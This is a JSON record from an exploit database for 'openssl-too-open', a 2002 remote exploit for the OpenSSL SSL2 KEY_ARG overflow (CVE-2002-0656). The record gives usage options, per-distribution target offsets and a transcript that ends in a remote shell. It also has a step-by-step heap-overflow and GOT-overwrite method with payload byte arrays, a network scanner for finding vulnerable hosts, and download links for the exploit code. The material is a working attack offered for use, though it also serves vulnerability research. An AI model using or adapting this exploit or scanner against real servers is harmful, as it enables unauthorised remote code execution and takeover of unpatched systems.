{"exploit":{"id":"EDB-40347","name":"Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow","description":"Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow","cves":["CVE-2002-0656"],"author":"Solar Eclipse","published":"2002-09-17","platform":"unix","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40347","path":"exploits/unix/remote/40347.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40347.txt","vulnerabilities":[{"id":"CVE-2002-0656","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflows in OpenSSL 0.9.6d and earlier, and 0.9.7-beta2 and earlier, allow remote attackers to execute arbitrary code via (1) a large client master key in SSL2 or (2) a large session ID in SSL3.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2002-0656","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2002-0656"},"updatedAt":"2024-08-08T02:56:38.489Z","retrievedAt":"2026-11-27T00:11:48.140Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40347.png?v=2","url":"https://exploitbin.com/exploits/EDB-40347","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40347/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40347/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * openssl-too-open.c - OpenSSL remote exploit\n * Spawns a nobody/apache shell on Apache, root on other servers.\n *\n * by Solar Eclipse <solareclipse@phreedom.org>\n *\n * Thanks to Core, HD Moore, Zillion, Dvorak and Black Berry for their help.\n *\n * This code or any derivative versions of it may not be posted to Bugtraq\n * or anywhere on SecurityFocus, Symantec or any affiliated site.\n *\n */\n\n---------[ ./openssl-too-open ]\n\nopenssl-too-open is a remote exploit for the KEY_ARG overflow in\nOpenSSL 0.9.6d and older. It will give you a remote shell with the\npriviledges of the server process (nobody when used against Apache,\nroot against other servers).\n\nOnly Linux/x86 targets are supported.\n\n: openssl-too-open : OpenSSL remote exploit\n  by Solar Eclipse <solareclipse@phreedom.org>\n\nUsage: ./openssl-too-open [options] <host>\n  -a <arch>          target architecture (default is 0x00)\n  -p <port>          SSL port (default is 443)\n  -c <N>             open N apache connections before sending the shellcode (default is 30)\n  -m <N>             maximum number of open connections (default is 50)\n  -v                 verbose mode\n\nSupported architectures:\n\t0x00 - Gentoo (apache-1.3.24-r2)\n\t0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)\n\t0x02 - Slackware 7.0 (apache-1.3.26)\n\t0x03 - Slackware 8.1-stable (apache-1.3.26)\n\t0x04 - RedHat Linux 6.0 (apache-1.3.6-7)\n\t0x05 - RedHat Linux 6.1 (apache-1.3.9-4)\n\t0x06 - RedHat Linux 6.2 (apache-1.3.12-2)\n\t0x07 - RedHat Linux 7.0 (apache-1.3.12-25)\n\t0x08 - RedHat Linux 7.1 (apache-1.3.19-5)\n\t0x09 - RedHat Linux 7.2 (apache-1.3.20-16)\n\t0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)\n\t0x0b - RedHat Linux 7.3 (apache-1.3.23-11)\n\t0x0c - SuSE Linux 7.0 (apache-1.3.12)\n\t0x0d - SuSE Linux 7.1 (apache-1.3.17)\n\t0x0e - SuSE Linux 7.2 (apache-1.3.19)\n\t0x0f - SuSE Linux 7.3 (apache-1.3.20)\n\t0x10 - SuSE Linux 8.0 (apache-1.3.23-137)\n\t0x11 - SuSE Linux 8.0 (apache-1.3.23)\n\t0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)\n\t0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)\n\t0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)\n\t0x15 - Mandrake Linux 8.2 (apache-1.3.23-4)\n\nExamples: ./openssl-too-open -a 0x01 -v localhost\n          ./openssl-too-open -p 1234 192.168.0.1 -c 40 -m 80\n\n\n---------[ ./openssl-scanner ]\n\nopenssl-scanner scans a number of hosts for vulnerable OpenSSL\nimplementations.\n\n: openssl-scanner : OpenSSL vulnerability scanner\n  by Solar Eclipse <solareclipse@phreedom.org>\n\nUsage: ./openssl-scanner [options] <host>\n  -i <inputfile>     file with target hosts\n  -o <outputfile>    output log\n  -a                 append to output log (requires -o)\n  -b                 check for big endian servers\n  -C                 scan the entire class C network the host belogs to\n  -d                 debug mode\n  -w N               connection timeout in seconds\n\nExamples: ./openssl-scanner -d 192.168.0.1\n          ./openssl-scanner -i hosts -o my.log -w 5\n\n\n---------[ Screenshots ]\n\n$ ./openssl-scanner -C 192.168.0.0\n: openssl-scanner : OpenSSL vulnerability scanner\n  by Solar Eclipse <solareclipse@phreedom.org>\n\nOpening 255 connections . . . . . . . . . . done\nWaiting for all connections to finish . . . . . . . . . . . done\n\n192.168.0.136: Vulnerable\n\n\n$ nc 192.168.0.1 80\nHEAD / HTTP/1.0\n\nHTTP/1.1 200 OK\nDate: Tue, 17 Sep 2002 17:47:44 GMT\nServer: Apache-AdvancedExtranetServer/1.3.20 (Mandrake Linux/3mdk) mod_ssl/2.8.4 OpenSSL/0.9.6b\nConnection: close\nContent-Type: text/html\n\n\n./openssl-too-open -a 0x14 192.168.0.1\n: openssl-too-open : OpenSSL remote exploit\n  by Solar Eclipse <solareclipse@phreedom.org>\n\n: Opening 30 connections\n  Establishing SSL connections\n\n: Using the OpenSSL info leak to retrieve the addresses\n  ssl0 : 0x810b3a0\n  ssl1 : 0x810b360\n  ssl2 : 0x810b4e0\n\n* Addresses don't match.\n\n: Opening 40 connections\n  Establishing SSL connections\n\n: Using the OpenSSL info leak to retrieve the addresses\n  ssl0 : 0x8103830\n  ssl1 : 0x80fd668\n  ssl2 : 0x80fd668\n\n* Addresses don't match.\n\n: Opening 50 connections\n  Establishing SSL connections\n\n: Using the OpenSSL info leak to retrieve the addresses\n  ssl0 : 0x8103830\n  ssl1 : 0x8103830\n  ssl2 : 0x8103830\n\n: Sending shellcode\nciphers: 0x8103830   start_addr: 0x8103770   SHELLCODE_OFS: 184\n  Reading tag\n  Execution of stage1 shellcode succeeded, sending stage2\n  Spawning shell...\n\nbash: no job control in this shell\nbash-2.05$\nbash-2.05$ uname -a; id; w;\nLinux localhost.localdomain 2.4.8-26mdk #1 Sun Sep 23 17:06:39 CEST 2001 i686 unknown\nuid=48(apache) gid=48(apache) groups=48(apache)\n  1:49pm  up  4:26,  1 user,  load average: 0.04, 0.07, 0.07\nUSER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT\nbash-2.05$\n\n\n---------[ How Does openssl-too-open Work? ]\n\nIt is important to understand the SSL2 handshake in order to successfully\nexploit the KEY_ARG vulnerability.\n\n---/ Typical SSL2 Handshake\n\n\n        Client           Server\n\n     CLIENT_HELLO -->\n\n                  <-- SERVER_HELLO\n\nCLIENT_MASTER_KEY -->\n\n                  <-- SERVER_VERIFY\n\n  CLIENT_FINISHED -->\n\n                  <-- SERVER_FINISHED\n\nThe CLIENT_HELLO message contains a list of the ciphers the client supports,\na session id and some challenge data. The session id is used if the client\nwishes to reuse an already established session, otherwise it's empty.\n\nThe server replies with a SERVER_HELLO message, also listing all supported\nciphers and includes a certificate with its public RSA key. The server\nalso sends a connection id, which will later be used by the client to\nverify that the encryption works.\n\nThe client generates a random master key, encrypts it with the server's\npublic key and sends it with a CLIENT_MASTER_KEY message. This message\nalso specifies the cipher selected by the client and a KEY_ARG field,\nwhich meaning depends on the specified cipher. For DES-CBC ciphers, the\nKEY_ARG contains the initialization vector.\n\nNow both the client and the server have the master key and they can generate\nthe session keys from it. All messages from this point on are encrypted.\n\nThe server replies with a SERVER_VERIFY message, containing the challenge\ndata from the CLIENT_HELLO message. If the key exchange has been successful,\nthe client will be able to decrypt this message and the challenge data returned\nfrom the server will match the challenge data sent by the client.\n\nThe client sends a CLIENT_FINISHED message with a copy of the connection id\nfrom the SERVER_HELLO packet. It is now the server's turn to decrypt this\nmessage and check if the connection id returned by the client matches the\nconnection it sent by the server.\n\nFinally the server sends a SERVER_FINISHED message, completing the handshake.\nThis message contains a session id, generated by the server. If the client\nwishes to reuse the session later, it can send this session id with the\nCLIENT_HELLO message.\n\n\n---/ The KEY_ARG Buffer Overflow\n\nThe bug is in ssl/s2_srvr.c, in the get_client_master_key() function. This\nfunction reads a CLIENT_MASTER_KEY packet and processes it. It reads the\nKEY_ARG_LENGTH value from the client and then copies that many bytes in an\narray of a fixed size.  This array is part of the SSL_SESSION structure.\nIf the client specifies a KEY_ARG longer than 8 bytes, the variables in the\nSSL_SESSION structure can be overwritten with user supplied data.\n\nLet's look at the definition of this structure.\n\ntypedef struct ssl_session_st\n    {\n    int ssl_version;    /* what ssl version session info is\n                 * being kept in here? */\n\n    /* only really used in SSLv2 */\n    unsigned int key_arg_length;\n    unsigned char key_arg[SSL_MAX_KEY_ARG_LENGTH];\n    int master_key_length;\n    unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH];\n    /* session_id - valid? */\n    unsigned int session_id_length;\n    unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH];\n    /* this is used to determine whether the session is being reused in\n     * the appropriate context. It is up to the application to set this,\n     * via SSL_new */\n    unsigned int sid_ctx_length;\n    unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH];\n\n    int not_resumable;\n\n    /* The cert is the certificate used to establish this connection */\n    struct sess_cert_st /* SESS_CERT */ *sess_cert;\n\n    /* This is the cert for the other end.\n     * On clients, it will be the same as sess_cert->peer_key->x509\n     * (the latter is not enough as sess_cert is not retained\n     * in the external representation of sessions, see ssl_asn1.c). */\n    X509 *peer;\n    /* when app_verify_callback accepts a session where the peer's certificate\n     * is not ok, we must remember the error for session reuse: */\n    long verify_result; /* only for servers */\n\n    int references;\n    long timeout;\n    long time;\n\n    int compress_meth;      /* Need to lookup the method */\n\n    SSL_CIPHER *cipher;\n    unsigned long cipher_id;    /* when ASN.1 loaded, this\n                     * needs to be used to load\n                     * the 'cipher' structure */\n\n    STACK_OF(SSL_CIPHER) *ciphers; /* shared ciphers? */\n\n    CRYPTO_EX_DATA ex_data; /* application specific data */\n\n    /* These are used to make removal of session-ids more\n     * efficient and to implement a maximum cache size. */\n    struct ssl_session_st *prev,*next;\n    } SSL_SESSION;\n\nIt really looks better with VIM coloring. Anyway, we know the size of the\nstructure and it's allocated on the heap. The first thing that comes to\nmind is to overwrite the next malloc chunk and then make the OpenSSL code\ncall free() on the SSL_SESSION structure.\n\nAfter we send a CLIENT_MASTER_KEY message, we'll read a SERVER_VERIFY packet\nfrom the server and then we'll respond with a CLIENT_FINISHED message.\nThe server uses this the contents of this message to verify that the\nkey exchange succeeded. If we return a wrong connection id, the server\nwill abort the connection and free the SSL_SESSION structure, which is\nexactly what we want.\n\nWe'll overwrite the KEY_ARG array with 8 random bytes and the following\nstring:\n\nunsigned char overwrite_next_chunk[] =\n    \"AAAA\"                              /* int master_key_length; */\n    \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"  /* unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH]; */\n    \"AAAA\"                              /* unsigned int session_id_length; */\n    \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"  /* unsigned char session_id[SSL_MAX_SSL_SESSION_ID_LENGTH]; */\n    \"AAAA\"                              /* unsigned int sid_ctx_length; */\n    \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"  /* unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH]; */\n    \"AAAA\"                              /* unsigned int sid_ctx_length; */\n    \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"  /* unsigned char sid_ctx[SSL_MAX_SID_CTX_LENGTH]; */\n    \"AAAA\"                              /* int not_resumable; */\n    \"\\x00\\x00\\x00\\x00\"                  /* struct sess_cert_st *sess_cert; */\n    \"\\x00\\x00\\x00\\x00\"                  /* X509 *peer; */\n    \"AAAA\"                              /* long verify_result; */\n    \"\\x01\\x00\\x00\\x00\"                  /* int references; */\n    \"AAAA\"                              /* int timeout; */\n    \"AAAA\"                              /* int time */\n    \"AAAA\"                              /* int compress_meth; */\n    \"\\x00\\x00\\x00\\x00\"                  /* SSL_CIPHER *cipher; */\n    \"AAAA\"                              /* unsigned long cipher_id; */\n    \"\\x00\\x00\\x00\\x00\"                  /* STACK_OF(SSL_CIPHER) *ciphers; */\n    \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"  /* CRYPTO_EX_DATA ex_data; */\n    \"AAAAAAAA\"                          /* struct ssl_session_st *prev,*next; */\n    \"\\x00\\x00\\x00\\x00\"                  /* Size of previous chunk */\n    \"\\x11\\x00\\x00\\x00\"                  /* Size of chunk, in bytes */\n    \"fdfd\"                              /* Forward and back pointers */\n    \"bkbk\"\n    \"\\x10\\x00\\x00\\x00\"                  /* Size of previous chunk */\n    \"\\x10\\x00\\x00\\x00\"                  /* Size of chunk, PREV_INUSE is set */\n\nThe \"A\" bytes don't affect the OpenSSL control flow. The other bytes must be\nset to specific values to make the exploit work. For example, the peer and\nsess_cert pointers must be NULL, because the SSL cleanup code will call\nfree() on them before it frees the SSL_SESSION structure.\n\nThe free() call will write the value of the bk pointer to the memory\naddress in the fd pointer + 12 bytes. We'll put our shellcode address\nin the bk pointer and we'll write it to the free() entry in the GOT\ntable.\n\nIf you don't understand how freeing this malloc chunk overwrites the GOT\nentry or don't know what the GOT table is, visit juliano's site at\nhttp://community.core-sdi.com/~juliano/ and read some papers.\n\n\n---/ Getting the Shellcode Address\n\nThere is only one little problem. We need a place to put our shellcode\nand we need the exact shellcode address. The trick is to use the\nSERVER_FINISHED message. This message includes the session id, which\nis read from the SSL_SESSION structure. The server reads session_id_length\nbytes from the session_id[] array and sends them to the client. We can\noverwrite the session_id_length variable and complete the handshake.\nIf session_id_length is long enough, the SERVER_FINISHED message will\ninclude the contents of the SSL_SESSION structure.\n\nTo get the contents of the session structure, we'll overwrite the\nKEY_ARG array with 8 random bytes and the following string:\n\nunsigned char overwrite_session_id_length[] =\n    \"AAAA\"                              /* int master_key_length; */\n    \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"  /* unsigned char master_key[SSL_MAX_MASTER_KEY_LENGTH]; */\n    \"\\x70\\x00\\x00\\x00\";                 /* unsigned int session_id_length; */\n\nNow let's imagine the heap state when we send our connection request.\nWe have a heap, which contains some allocated chunks of memory and a\nlarge 'top' chunk, covering all free memory.\n\nWhen the server receives the connection, it forks a child and the child\nallocates the SSL_SESSION structure. If there has not been a signifficant\nmalloc/free activity, the fragmentation of the memory will be low and the\nnew chunk will be allocated from the beginning of the 'top' chunk.\n\nThe next allocated chunk is a 16 bytes chunk which holds a\nSTACK_OF(SSL_CIPHER) structure. This chunk is also allocated from the\nbeginning of the 'top' chunk, so it's located right above the SSL_SESSION\nstructure. The address of this chunk is stored in the session->ciphers\nvariable.\n\nIf we're lucky, the memory would look like this:\n\n                    | top chunk |\n                    |-----------|\nsession->ciphers    |  16 bytes |  <- STACK_OF(SSL_CIPHER) structure\npoints here      -> |-----------|\n                    | 368 bytes |  <- SSL_SESSION structure\n                    |-----------|\n\nWe can read the session->ciphers pointer from the SSL_SESSION structure\nin the SERVER_FINISHED message. By subtracting 368 from it, we'll get\nthe address of the SSL_SESSION structure, and thus the address of\nthe data we've overwritten.\n\n\n---/ fork() Is Your Friend\n\nWe'll use the same buffer overflow to get the address of the shellcode\nand to overwrite the malloc chunks. The problem is that we need to\nknow the shellcode address before we send it to the server.\n\nThe only solution is to send 2 requests. The first request overwrites\nsession_id_length and we complete the handshake to get the SERVER_FINISHED\nmessage. Then we adjust our shellcode and open a second connection\nwhich we use to send it.\n\nIf we're dealing with a forking server like Apache, the two children\nwill have an identical memory layout and malloc() will put the\nsession structure at the same address. Of course, life is never that\nsimple. Apache children can handle multiple requests, which would\nchange the memory allocation pattern of the two children we use.\n\nTo guarantee that both children are freshly spawned, our exploit\nwill open a number of connections to the server before sending the\ntwo important requests. These connection should use up all available\nApache children and force new ones to be spawned.\n\nIf the server traffic is high, the exploit might fail. If the\nmemory allocation patterns are different, the exploit might fail.\nIf you have a wrong GOT address, the exploit will definitely fail.\n\n\n---------[ How Does openssl-too-open Work? ]\n\nopenssl-scanner overflows the master_key_length, master_key[] and session_id_length\nvariables in the SSL_SESSION structure. The first two are uninitialized at this point,\nso overwriting them has no effect on openssl. The first place where the session_id_length\nvariable is used after we overwrite it is in session_finish() (ssl/s2_srvr.c:847)\n\nmemcpy(p,s->session->session_id, (unsigned int)s->session->session_id_length);\n\nThis data is returned in the SERVER_FINISHED packet. openssl-scanner checks the length\nof the data. If it matches the value we set session_id_length to, then the server is\nexploitable.\n\nOpenSSL 0.9.6e and higher versions return\n192.160.0.2: Server error: SSL2_PE_UNDEFINED_ERROR (0x00) after KEY_ARG data was sent. Server is not vulnerable.\n\nThe updates that most vendors have put out backport the changes from 0.9.6e to 0.9.6b\nor some other version of OpenSSL. They don't return an error like 0.9.6e.\nThe updated RedHat and Debian packages) would close the connection immediatelly\nafter they receive the oversized KEY_ARG data, causing openssl-scanner to report\n\n192.168.0.1: Connection closed after KEY_ARG data was sent. Server is most likely not vulnerable.\n\nIIS servers exhibit the same behavior.\n\nIIS servers that don't have a certificate set up close the connection as soon as\nthey receive the CLIENT_HELLO packet. openssl-scanner reports this as\n\n192.168.0.2: Connection unexpectedly closed\n\n\n/* EOF */\n\n\n\n\nhttp://www.phreedom.org/solar/exploits/apache-openssl/openssl-too-open.tar.gz\nhttps://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40347.tar.gz (openssl-too-open.tar.gz)","sha256":"5846c94ae5777dfcf170c13f9ebb1e4b2faa58a8c5e4de11c2dbcd84e9862f56","bytes":17927,"fetchedAt":"2026-11-27T00:11:42.901Z","encoding":"utf-8 (display only; download retains original bytes)"}